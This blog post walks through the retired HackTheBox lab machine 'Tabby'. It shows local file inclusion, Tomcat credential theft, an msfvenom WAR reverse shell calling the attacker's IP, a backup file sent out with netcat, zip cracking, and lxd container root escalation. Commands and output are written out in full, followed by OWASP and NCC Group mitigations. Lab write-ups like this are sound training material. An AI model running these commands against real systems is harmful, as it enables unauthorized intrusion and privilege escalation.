11 minute read

Tabby Logo


Initial Scanning

Let’s run our port scanner to identify active TCP services.

TCP Port Scan

$ sudo nmap -sS -A --open -p- 10.10.10.194 | tee nmap-tcp-full.log

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 45:3c:34:14:35:56:23:95:d6:83:4e:26:de:c6:5b:d9 (RSA)
|   256 89:79:3a:9c:88:b0:5c:ce:4b:79:b1:02:23:4b:44:a6 (ECDSA)
|_  256 1e:e7:b9:55:dd:25:8f:72:56:e8:8e:65:d5:19:b0:8d (ED25519)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Mega Hosting
|_http-server-header: Apache/2.4.41 (Ubuntu)
8080/tcp open  http    Apache Tomcat
|_http-title: Apache Tomcat
|_http-open-proxy: Proxy might be redirecting requests

Okay sweet, so we have Apache Tomcat (like a Tabby cat… get it?) running on 8080 and Apache2 running on 80.

Web Enumeration

I started my initial enumeration in my web browser while running Burpsuite.

HTTP Port 80 - Local File Inclusion

I turned on my FoxyProxy/Burp and navigated to the page in FireFox. Overall, pretty generic page so I started clicking links.

Port 80 Home

Clicking on the News header at the top took me to a URL that has a parameter ‘file’ in it – hmm.

Intercepting this page in Burpsuite, I see that it tried to redirect to ‘megahosting.htb’ that didn’t resolve. So, I added a new line to my /etc/hosts file:

  • 10.10.10.194 megahosting.htb

I went for the obvious and attempted LFI to return /etc/passwd and it worked:

/etc/passwd Retrieval

Notice here, we have some user names and home directories, like tomcat and ash for example.

I grabbed a few other files like /etc/issue and /etc/group. I then tried to gain RCE by testing LFI on Apache/SSH log poisoning, but I determined the user accessing these files doesn’t have permission. So, I decided to go checkout Tomcat on port 8080.

HTTP Port 8080 (Tomcat)

When I get to this page, it appears to be a default Tomcat page with helpful information.

Tomcat Home

There are some links I tried to use in conjunction with the LFI in port 80 to pull files, but didn’t get much in return. Additionally, there are login links here. I tried spraying default Tomcat credentials at both logins (/manager/html and /host-manager/html), but they were wrong. I assume the user changed their Tomcat Manager password.

The default page tells gives me a version number (Tomcat 9.0.31) and information on where user information (password) is stored “/etc/tomcat9/tomcat-users.xml”. However, this isn’t returning anything using my LFI so I did some more public research.

At this Hacktricks link, it is recommended to try /usr/share/tomcat9/etc/tomcat-users.xml.

Tomcat Password Retrieval

Boom. Now we can go login to /host-manager/html on port 8080.

I attempted to login to /manager/html but there was an error saying I must login from the server itself to access it.

Tomcat Host-Manager App

Initial Access - User Tomcat

I clicked through the manager app but dind’t find anything very interesting. I have exploited Tomcat services before and in multiple cases, this required uploading a .war file to get a reverse shell.

This was my initial thinking and plan of action.

Upload Malicious WAR File

In this Tomcat cheatsheet from hacktricks that I listed earlier, we see some different options for creating/deploying .war files via Tomcat.

It’s pretty simple. We will use msfvenom to create a malicious WAR file, setup a listener with Netcat to catch the reverse shell, then deploy and access the WAR file with cURL.

Create WAR File:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.27 LPORT=8888 -f war -o revshell.war

Setup a Listener: 
nc -nvlp 8888

Deploy WAR File to Tomcat Manager:
curl --upload-file revshell.war -u 'tomcat:$3cureP4s5w0rd123!' "http://10.10.10.194:8080/manager/text/deploy?path=/revshell"

Launch revshell.war:
curl "http://10.10.10.194:8080/revshell/" 

NOTE: If You Wanted to UNDEPLOY it:
curl http://10.10.10.194:8080/manager/text/undeploy?path=/revshell 

Now, if we navigate to the terminal where we set up our Netcat listener, we should have a shell as the user tomcat. This shell doesn’t have much functionality though, so I made it slightly nicer by spawning pty session via Python3:

python3 -c 'import pty; pty.spawn("/bin/sh")'

Enumeration

So first, I tried to check for commands that tomcat could run as sudo with ‘sudo -l’ but it required a password to run. I tried entering tomcat’s password for Tomcat manager as well as other default passwords for Apache Tomcat users, but they did not work.

Then I checked which directories tomcat had access/ownership of with this command:

$ find / -writable -type d 2>/dev/null 


/var/cache/tomcat9
/var/cache/tomcat9/Catalina
/var/cache/tomcat9/Catalina/localhost
/var/cache/tomcat9/Catalina/localhost/manager
/var/cache/tomcat9/Catalina/localhost/manager/org
/var/cache/tomcat9/Catalina/localhost/manager/org/apache
/var/cache/tomcat9/Catalina/localhost/manager/org/apache/jsp
/var/cache/tomcat9/Catalina/localhost/manager/org/apache/jsp/WEB_002dINF
/var/cache/tomcat9/Catalina/localhost/manager/org/apache/jsp/WEB_002dINF/jsp
/var/cache/tomcat9/Catalina/localhost/revshell
/var/cache/tomcat9/Catalina/localhost/revshell/org
/var/cache/tomcat9/Catalina/localhost/revshell/org/apache
/var/cache/tomcat9/Catalina/localhost/revshell/org/apache/jsp
/var/cache/tomcat9/Catalina/localhost/host-manager
/var/cache/tomcat9/Catalina/localhost/docs
/var/cache/tomcat9/Catalina/localhost/ROOT
/var/cache/tomcat9/Catalina/localhost/examples
/var/log/tomcat9
/var/tmp
/var/lib/tomcat9/webapps
/var/lib/tomcat9/webapps/revshell
/var/lib/tomcat9/webapps/revshell/WEB-INF
/var/lib/tomcat9/webapps/revshell/META-INF
/dev/mqueue
/dev/shm
/etc/tomcat9/Catalina
/proc/2424/task/2424/fd
/proc/2424/fd
/proc/2424/map_files
/tmp
/tmp/hsperfdata_tomcat

There were some interesting files here but nothing incredibly useful. Since we are logged into low-level user tomcat, which mainly deals in http processes, I navigated to /var/www/html to see what we had going on there.

$ ls -la

total 48
drwxr-x--- 4 tomcat tomcat  4096 Aug 10 22:35 .
drwxr-x--- 3 tomcat tomcat  4096 Aug 10 22:35 ..
drwxr-xr-x 2 tomcat tomcat  4096 Mar 31  2016 assets
-rw-r--r-- 1 tomcat tomcat   766 Jan 13  2016 favicon.ico
drwxr-xr-x 2 tomcat tomcat  4096 Jun 16  2020 files
-rw-r--r-- 1 tomcat tomcat 14793 Jun 16  2020 index.php
-rw-r--r-- 1 tomcat tomcat  2894 May 21  2020 logo.png
-rw-r--r-- 1 tomcat tomcat   123 Jun 16  2020 news.php
-rw-r--r-- 1 tomcat tomcat  1574 Mar 10  2016 Readme.txt

None of these files had any use to me, and the /assets directory was empty. When I looked in /files, I found an interesting backup file owned by the user ash.

Switch User : ash

I tried to unzip the backup file but ran into 2 primary issues:

  1. It was in a read-only directory and needed to be moved to somewhere that tomcat can execute, like /tmp
  2. It required a password
$ ls -la

total 36
drwxr-xr-x 4 ash  ash  4096 Aug 19  2021 .
drwxr-xr-x 4 root root 4096 Aug 19  2021 ..
-rw-r--r-- 1 ash  ash  8716 Jun 16  2020 16162020_backup.zip
drwxr-xr-x 2 root root 4096 Aug 19  2021 archive
drwxr-xr-x 2 root root 4096 Aug 19  2021 revoked_certs
-rw-r--r-- 1 root root 6507 Jun 16  2020 statement

$ unzip 16162020_backup.zip

unzip 16162020_backup.zip
Archive:  16162020_backup.zip
checkdir error:  cannot create var
                 Read-only file system
                 unable to process var/www/html/assets/.
[16162020_backup.zip] var/www/html/favicon.ico password:

Zipfile Cracking

First I transferred the backup file from /var/www/html/files/ to /tmp. Then, it was time to get the file to my own Kali machine so that I could crack it with Zip2John and JohnTheRipper.

I setup a quick Netcat listener to accept a file as input on my Kali machine, then hosted the backup .zip file on the host machine via Netcat as well.

$ cp /var/www/html/files/16162020_backup.zip /tmp/crackme.zip  

MY KALI MACHINE:
nc -l -p 8899 > crackme.zip 

HOST MACHINE:
nc -w 3 10.10.14.27 8899 < crackme.zip

Now that it was on my machine, I could crack it to get the password using 2 commands:

$ zip2john crackme.zip > hash.txt 

crackme.zip:$pkzip$5*1*1*0*8*24*7db5*dd84cfff4c26e855919708e34b3a32adc4d5c1a0f2a24b1e59be93f3641b254fde4da84c*1*0*8*24*6a8b*32010e3d24c744ea56561bbf91c0d4e22f9a300fcf01562f6fcf5c986924e5a6f6138334*1*0*0*24*5d46*ccf7b799809a3d3c12abb83063af3c6dd538521379c8d744cd195945926884341a9c4f74*1*0*8*24*5935*f422c178c96c8537b1297ae19ab6b91f497252d0a4efe86b3264ee48b099ed6dd54811ff*2*0*72*7b*5c67f19e*1b1f*4f*8*72*5a7a*ca5fafc4738500a9b5a41c17d7ee193634e3f8e483b6795e898581d0fe5198d16fe5332ea7d4a299e95ebfff6b9f955427563773b68eaee312d2bb841eecd6b9cc70a7597226c7a8724b0fcd43e4d0183f0ad47c14bf0268c1113ff57e11fc2e74d72a8d30f3590adc3393dddac6dcb11bfd*$/pkzip$::crackme.zip:var/www/html/news.php, var/www/html/favicon.ico, var/www/html/Readme.txt, var/www/html/logo.png, var/www/html/index.php:crackme.zip

$ john --wordlist=~/rockyou.txt hash.txt  

Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
admin@it         (crackme.zip)
Session completed.  

So, we get a password to unzip the file: admin@it

Now, back on the host machine I type ‘unzip /tmp/crackme.zip’ and use the password, and it works well. However, there is not much new or any useful information here.

But, if we remember, this is ash’s file, which means he likely set the password for it. Let’s give this admin@it password a go on his user account.

$ su ash
Password: admin@it
ash@tabby:/tmp/var/www/html$

Bingo!

Enumeration

Now that we’re in, let’s grab the user flag to satisfy HackTheBox:

$ cd ~
$ ls -la

total 28
drwxr-x--- 3 ash  ash  4096 Aug 19  2021 .
drwxr-xr-x 3 root root 4096 Aug 19  2021 ..
lrwxrwxrwx 1 root root    9 May 21  2020 .bash_history -> /dev/null
-rw-r----- 1 ash  ash   220 Feb 25  2020 .bash_logout
-rw-r----- 1 ash  ash  3771 Feb 25  2020 .bashrc
drwx------ 2 ash  ash  4096 Aug 19  2021 .cache
-rw-r----- 1 ash  ash   807 Feb 25  2020 .profile
-r-------- 1 ash  ash    33 Aug 10 20:23 user.txt

$ cat user.txt
171679fc246468669bbe77ce32958e76

I tried to look for a few common priv-esc vectors, like binaries that ash can run as superuser, but the machine returned that “Sorry, user ash may not run sudo on tabby.”

Now, I am going to run LinPEAS on this machine to check for privilege escalation vectors.

I did this by hosting linpeas.sh on my local Apache2 server and downloading it to the victim machine via cURL and running it. LinPEAS/WinPEAS can be found on GitHub.

Linpeas

Taking a look at just the beginning of our scan, we see multiple potential privilege escalation vectors.

Priv Esc Vectors

Using the legend at the top, we see some highly possible vectors here, starting with lxd-group permissions as top priority, followed by adm group role, and even an outdated sudo version (1.8.31).

NOTE: Most retired HTB machines have an outdated sudo version, which may allow privilege escalation. This is because a public CVE for the case was released as early as January 2021 according to National Vulnerability Database. I keep in mind that even though it is detected, it is probably not the intended priv-esc vector for the machine.

I also found another local port open with this scan: 127.0.0.53:53, which is likely DNS.

Privilege Escalation

Investigating lxd Group Exploits

The lxd group privilege escalation came back as most likely, so I am going to start there.

I did some Googling on LXD/LXC and learned quite a bit. LXD/LXC containers are are Linux-based containers that are used similar to Docker or Kubernetes containers, generally to help deploy applications.

LXC

  • Linux-based software to use containers that interface with Linux Kernel

LXD

  • An extension of LXC, with additional flexibility and functionality.

You can read about their key differences, comparisons/contrasts to Docker and more here.

So, users can be assigned to a group like lxd or lxc that has permissions with using this software.

However, there is a key misconfiguration in doing this which allows users to execute system commands as the root user by creating a root-level privilege container, and executing /bin/sh.

Building an Alpine Image

I read on steflan-security that it is pretty easy to exploit this by building an Alpine Linux image from GitHub and start it using the security.privileged=true flag.

Here is a link to the lxd-alpine-builder on GitHub by saghul.

Since the victim machine and my Kali machine are both running x86_64 GNU/Linux (check with uname -a), I cloned and built Alpine from GitHub on my Kali machine (since HTB machines don’t interface with external sources):

# MY MACHINE:

git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder/
sudo ./build-alpine

# Now, there should be a .tar.gz image that I can host with my Apache2 and grab with victim cURL. 

sudo service apache2 start
sudo cp alpine-v3.13-x86_64-20210218_0139.tar.gz /var/www/html

# VICTIM MACHINE:

cd ~
curl http://10.10.14.27/alpine-v3.13-x86_64-20210218_0139.tar.gz --output alpine-v3.13-x86_64-20210218_0139.tar.gz

Import Alpine, Mount Root Filesystem

The next step here is to import the image using lxc.

# Import Image in User's Home Directory (Can Assign Alias)
lxc image import alpine-v3.13-x86_64-20210218_0139.tar.gz --alias rooted

Command 'lxc' is available in '/snap/bin/lxc'
The command could not be located because '/snap/bin' is not included in the PATH environment variable.
lxc: command not found

# Command was not found in PATH so we have to specify its path: 
/snap/bin/lxc image import alpine-v3.13-x86_64-20210218_0139.tar.gz --alias rooted

If this is your first time running LXD on this machine, you should also run: lxd init
To start your first instance, try: lxc launch ubuntu:18.04

Okay, nice. So now we will initialize lxd like it tells us. And like before, we have to specify lxd’s filepath. I chose to keep all defaults by hitting enter on each option:

LXD INIT

Now it is time to initialize our image, setting the vulnerable flag to give us total access with regard to our container.

# Note: I named my image 'rooted' and my container 'rootcontainer', and soon my device 'rootdevice'. Name them what you like.

/snap/bin/lxc init rooted rootcontainer -c security.privileged=true

Creating rootcontainer

Almost there! Create a device and mount the root filesystem!

/snap/bin/lxc config device add rootcontainer rootdevice disk source=/ path=/mnt/root recursive=true

Device rootdevice added to rootcontainer

ROOT

Now all we have left to do is start the container. After that, we can provide ‘exec’ when running lxc to pass commands with use of the privileged container.

/snap/bin/lxc start rootcontainer

/snap/bin/lxc exec rootcontainer /bin/sh

~ # ^[[61;5Rwhoami

root

Well, we are root and we have access to the whole filesystem. It is located in /mnt/root/.

We need to access it to grab the flag:

cd /mnt/root/root 
cat root.txt

0115e05eb486f17e60281924f89dadca

Mitigations

There are ways that all of these issues can be mitigated and prevent an attacker from exploiting them.

Local File Inclusion (LFI)

I initially gained access to system files from my browser via LFI in a parameter named ‘file’ in the URL.

This is a common vulnerability but can be easily prevented. According to OWASP’s WSTGv4.1 the most effective way is to avoid passing user input to the server/filesystem/API. However, if this is not possible, OWASP recommends creating a very strict whitelist that only allows specific files to be retrieved this way.

LXD/LXC Misconfigurations

There are multiple ways to prevent exploits related to these container systems. I read about quite a few of them that are documented in NCCGroup’s Abusing Privileged and Unprivileged Linux Containers :

Mit 1

Mit 2

Other

Please ensure you are keeping your system and your software up to date. Additional to these attack vectors, we had many other potential vulnerabilies due to outdated software such as sudo and tomcat.

Thank you for reading this blog, I hope it helped.